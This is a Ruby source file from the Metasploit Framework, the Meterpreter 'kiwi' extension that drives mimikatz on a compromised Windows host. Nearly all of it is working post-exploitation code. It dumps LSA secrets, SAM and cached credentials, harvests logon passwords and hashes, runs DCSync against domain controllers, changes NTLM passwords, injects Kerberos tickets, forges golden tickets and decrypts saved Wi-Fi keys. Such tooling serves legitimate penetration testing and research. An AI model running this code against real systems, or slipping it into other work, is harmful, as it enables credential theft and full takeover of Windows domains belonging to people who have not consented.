metasploit-framework/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

514 lines
12 KiB
Ruby

# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/kiwi/tlv'
require 'rexml/document'
require 'set'
module Rex
module Post
module Meterpreter
module Extensions
module Kiwi
###
#
# Kiwi extension - grabs credentials from windows memory.
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by OJ Reeves (TheColonial)
###
class Kiwi < Extension
#
# Typical extension initialization routine.
#
# @param client (see Extension#initialize)
def initialize(client)
super(client, 'kiwi')
client.register_extension_aliases(
[
{
'name' => 'kiwi',
'ext' => self
},
])
# by default, we want all output in base64, so fire that up
# first so that everything uses this down the track
exec_cmd('"base64 /in:on /out:on"')
end
def exec_cmd(cmd)
request = Packet.create_request('kiwi_exec_cmd')
request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
response = client.send_request(request)
output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
# remove the banner up to the prompt
output = output[output.index('mimikatz(powershell) #') + 1, output.length]
# return everything past the newline from here
output[output.index("\n") + 1, output.length]
end
def password_change(opts)
cmd = "lsadump::changentlm /user:#{opts[:user]}"
cmd << " /server:#{opts[:server]}" if opts[:server]
cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]
output = exec_cmd("\"#{cmd}\"")
result = {}
if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
result[:old] = $1
end
if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
result[:new] = $1
end
if output =~ /^ERROR/m
result[:success] = false
if output =~ /^ERROR.*SamConnect/m
result[:error] = 'Invalid server.'
elsif output =~ /^ERROR.*Bad old/m
result[:error] = 'Invalid old password or hash.'
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
result[:error] = 'Invalid user.'
else
result[:error] = 'Unknown error.'
end
else
result[:success] = true
end
result
end
def dcsync(domain_user)
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
end
def dcsync_ntlm(domain_user)
result = {
ntlm: '<NOT FOUND>',
lm: '<NOT FOUND>',
sid: '<NOT FOUND>',
rid: '<NOT FOUND>'
}
output = dcsync(domain_user)
return nil unless output.include?('Object RDN')
output.lines.map(&:strip).each do |l|
if l.start_with?('Hash NTLM: ')
result[:ntlm] = l.split(' ')[-1]
elsif l.start_with?('lm - 0:')
result[:lm] = l.split(' ')[-1]
elsif l.start_with?('Object Security ID')
result[:sid] = l.split(' ')[-1]
elsif l.start_with?('Object Relative ID')
result[:rid] = l.split(' ')[-1]
end
end
result
end
def lsa_dump_secrets
exec_cmd('lsadump::secrets')
end
def lsa_dump_sam
exec_cmd('lsadump::sam')
end
def lsa_dump_cache
exec_cmd('lsadump::cache')
end
def creds_ssp
{ ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }
end
def creds_msv
{ msv: parse_msv(exec_cmd('sekurlsa::msv')) }
end
def creds_wdigest
{ wdigest: parse_wdigest(exec_cmd('sekurlsa::wdigest')) }
end
def creds_tspkg
{ tspkg: parse_tspkg(exec_cmd('sekurlsa::tspkg')) }
end
def creds_kerberos
{ kerberos: parse_kerberos(exec_cmd('sekurlsa::kerberos')) }
end
def creds_all
output = exec_cmd('sekurlsa::logonpasswords')
{
msv: parse_msv(output),
ssp: parse_ssp(output),
wdigest: parse_wdigest(output),
tspkg: parse_tspkg(output),
kerberos: parse_kerberos(output)
}
end
def parse_ssp(output)
results = {}
lines = output.lines
while lines.length > 0 do
line = lines.shift
# search for an wdigest line
next if line !~ /\sssp\s:/
line = lines.shift
# are there interesting values?
while line =~ /\[\d+\]/
line = lines.shift
# then the next 3 lines should be interesting
ssp = {}
3.times do
k, v = read_value(line)
ssp[k.strip] = v if k
line = lines.shift
end
if ssp.length > 0
results[ssp.values.join('|')] = ssp
end
end
end
results.values
end
def parse_wdigest(output)
results = {}
lines = output.lines
while lines.length > 0 do
line = lines.shift
# search for an wdigest line
next if line !~ /\swdigest\s:/
line = lines.shift
# are there interesting values?
next if line.blank? || line !~ /\s*\*/
# no, the next 3 lines should be interesting
wdigest = {}
3.times do
k, v = read_value(line)
wdigest[k.strip] = v if k
line = lines.shift
end
if wdigest.length > 0
results[wdigest.values.join('|')] = wdigest
end
end
results.values
end
def parse_tspkg(output)
results = {}
lines = output.lines
while lines.length > 0 do
line = lines.shift
# search for an tspkg line
next if line !~ /\stspkg\s:/
line = lines.shift
# are there interesting values?
next if line.blank? || line !~ /\s*\*/
# no, the next 3 lines should be interesting
tspkg = {}
3.times do
k, v = read_value(line)
tspkg[k.strip] = v if k
line = lines.shift
end
if tspkg.length > 0
results[tspkg.values.join('|')] = tspkg
end
end
results.values
end
def parse_kerberos(output)
results = {}
lines = output.lines
while lines.length > 0 do
line = lines.shift
# search for an kerberos line
next if line !~ /\skerberos\s:/
line = lines.shift
# are there interesting values?
next if line.blank? || line !~ /\s*\*/
# no, the next 3 lines should be interesting
kerberos = {}
3.times do
k, v = read_value(line)
kerberos[k.strip] = v if k
line = lines.shift
end
if kerberos.length > 0
results[kerberos.values.join('|')] = kerberos
end
end
results.values
end
def parse_msv(output)
results = {}
lines = output.lines
while lines.length > 0 do
line = lines.shift
# search for an MSV line
next if line !~ /\smsv\s:/
line = lines.shift
# loop until we find the 'Primary' entry
while line !~ / Primary/ && !line.blank?
line = lines.shift
end
# did we find something?
next if line.blank?
msv = {}
# loop until we find a line that doesn't start with
# an asterisk, as this is the next credential set
loop do
line = lines.shift
if line.strip.start_with?('*')
k, v = read_value(line)
msv[k.strip] = v if k
else
lines.unshift(line)
break
end
end
if msv.length > 0
results[msv.values.join('|')] = msv
end
end
results.values
end
def read_value(line)
if line =~ /\s*\*\s([^:]*):\s(.*)/
return $1, $2
end
return nil, nil
end
#
# List available kerberos tickets.
#
# @return [String]
#
def kerberos_ticket_list
exec_cmd('kerberos::list')
end
#
# Use the given ticket in the current session.
#
# @param ticket [String] Content of the Kerberos ticket to use.
#
# @return [void]
#
def kerberos_ticket_use(base64_ticket)
result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")
result.strip.end_with?(': OK')
end
#
# Purge any Kerberos tickets that have been added to the current session.
#
# @return [void]
#
def kerberos_ticket_purge
result = exec_cmd('kerberos::purge').strip
'Ticket(s) purge for current session is OK' == result
end
#
# Create a new golden kerberos ticket on the target machine and return it.
#
# @param opts[:user] [String] Name of the user to create the ticket for.
# @param opts[:domain_name] [String] Domain name.
# @param opts[:domain_sid] [String] SID of the domain.
# @param opts[:krbtgt_hash] [String] The kerberos ticket granting token.
# @param opts[:id] [Integer] ID of the user to grant the token for.
# @param opts[:group_ids] [Array<Integer>] IDs of the groups to assign to the user
#
# @return [Array<Byte>]
#
def golden_ticket_create(opts={})
cmd = [
"\"kerberos::golden /user:",
opts[:user],
" /domain:",
opts[:domain_name],
" /sid:",
opts[:domain_sid],
" /krbtgt:",
opts[:krbtgt_hash],
"\""
].join('')
if opts[:id]
cmd << " /id:" + opts[:id].to_s
end
if opts[:group_ids]
cmd << " /groups:" + opts[:group_ids]
end
output = exec_cmd(cmd)
return nil unless output.include?('Base64 of file')
saving = false
content = []
output.lines.map(&:strip).each do |l|
if l.start_with?('Base64 of file')
saving = true
elsif saving
if l.start_with?('====')
next if content.length == 0
break
end
content << l
end
end
content.join('')
end
#
# Access and parse a set of wifi profiles using the given interfaces
# list, which contains the list of profile xml files on the target.
#
# @return [Hash]
def wifi_parse_shared(wifi_interfaces)
results = []
exec_cmd('"base64 /in:off /out:on"')
wifi_interfaces.keys.each do |key|
interface = {
:guid => key,
:desc => nil,
:state => nil,
:profiles => []
}
wifi_interfaces[key].each do |wifi_profile_path|
cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\""
output = exec_cmd(cmd)
lines = output.lines
profile = {
:name => nil,
:auth => nil,
:key_type => nil,
:shared_key => nil
}
while lines.length > 0 do
line = lines.shift.strip
if line =~ /^\* SSID name\s*: (.*)$/
profile[:name] = $1
elsif line =~ /^\* Authentication\s*: (.*)$/
profile[:auth] = $1
elsif line =~ /^\* Key Material\s*: (.*)$/
profile[:shared_key] = $1
end
end
interface[:profiles] << profile
end
results << interface
end
exec_cmd('"base64 /in:on /out:on"')
results
end
#
# List all the wifi interfaces and the profiles associated
# with them. Also show the raw text passwords for each.
#
# @return [Array<Hash>]
def wifi_list
response_xml = exec_cmd('misc::wifi')
results = []
# TODO: check for XXE?
doc = REXML::Document.new(response_xml)
doc.get_elements('wifilist/interface').each do |i|
interface = {
:guid => Rex::Text::to_guid(i.elements['guid'].text),
:desc => i.elements['description'].text,
:state => i.elements['state'].text,
:profiles => []
}
i.get_elements('profiles/WLANProfile').each do |p|
interface[:profiles] << {
:name => p.elements['name'].text,
:auth => p.elements['MSM/security/authEncryption/authentication'].text,
:key_type => p.elements['MSM/security/sharedKey/keyType'].text,
:shared_key => p.elements['MSM/security/sharedKey/keyMaterial'].text
}
end
results << interface
end
return results
end
end
end; end; end; end; end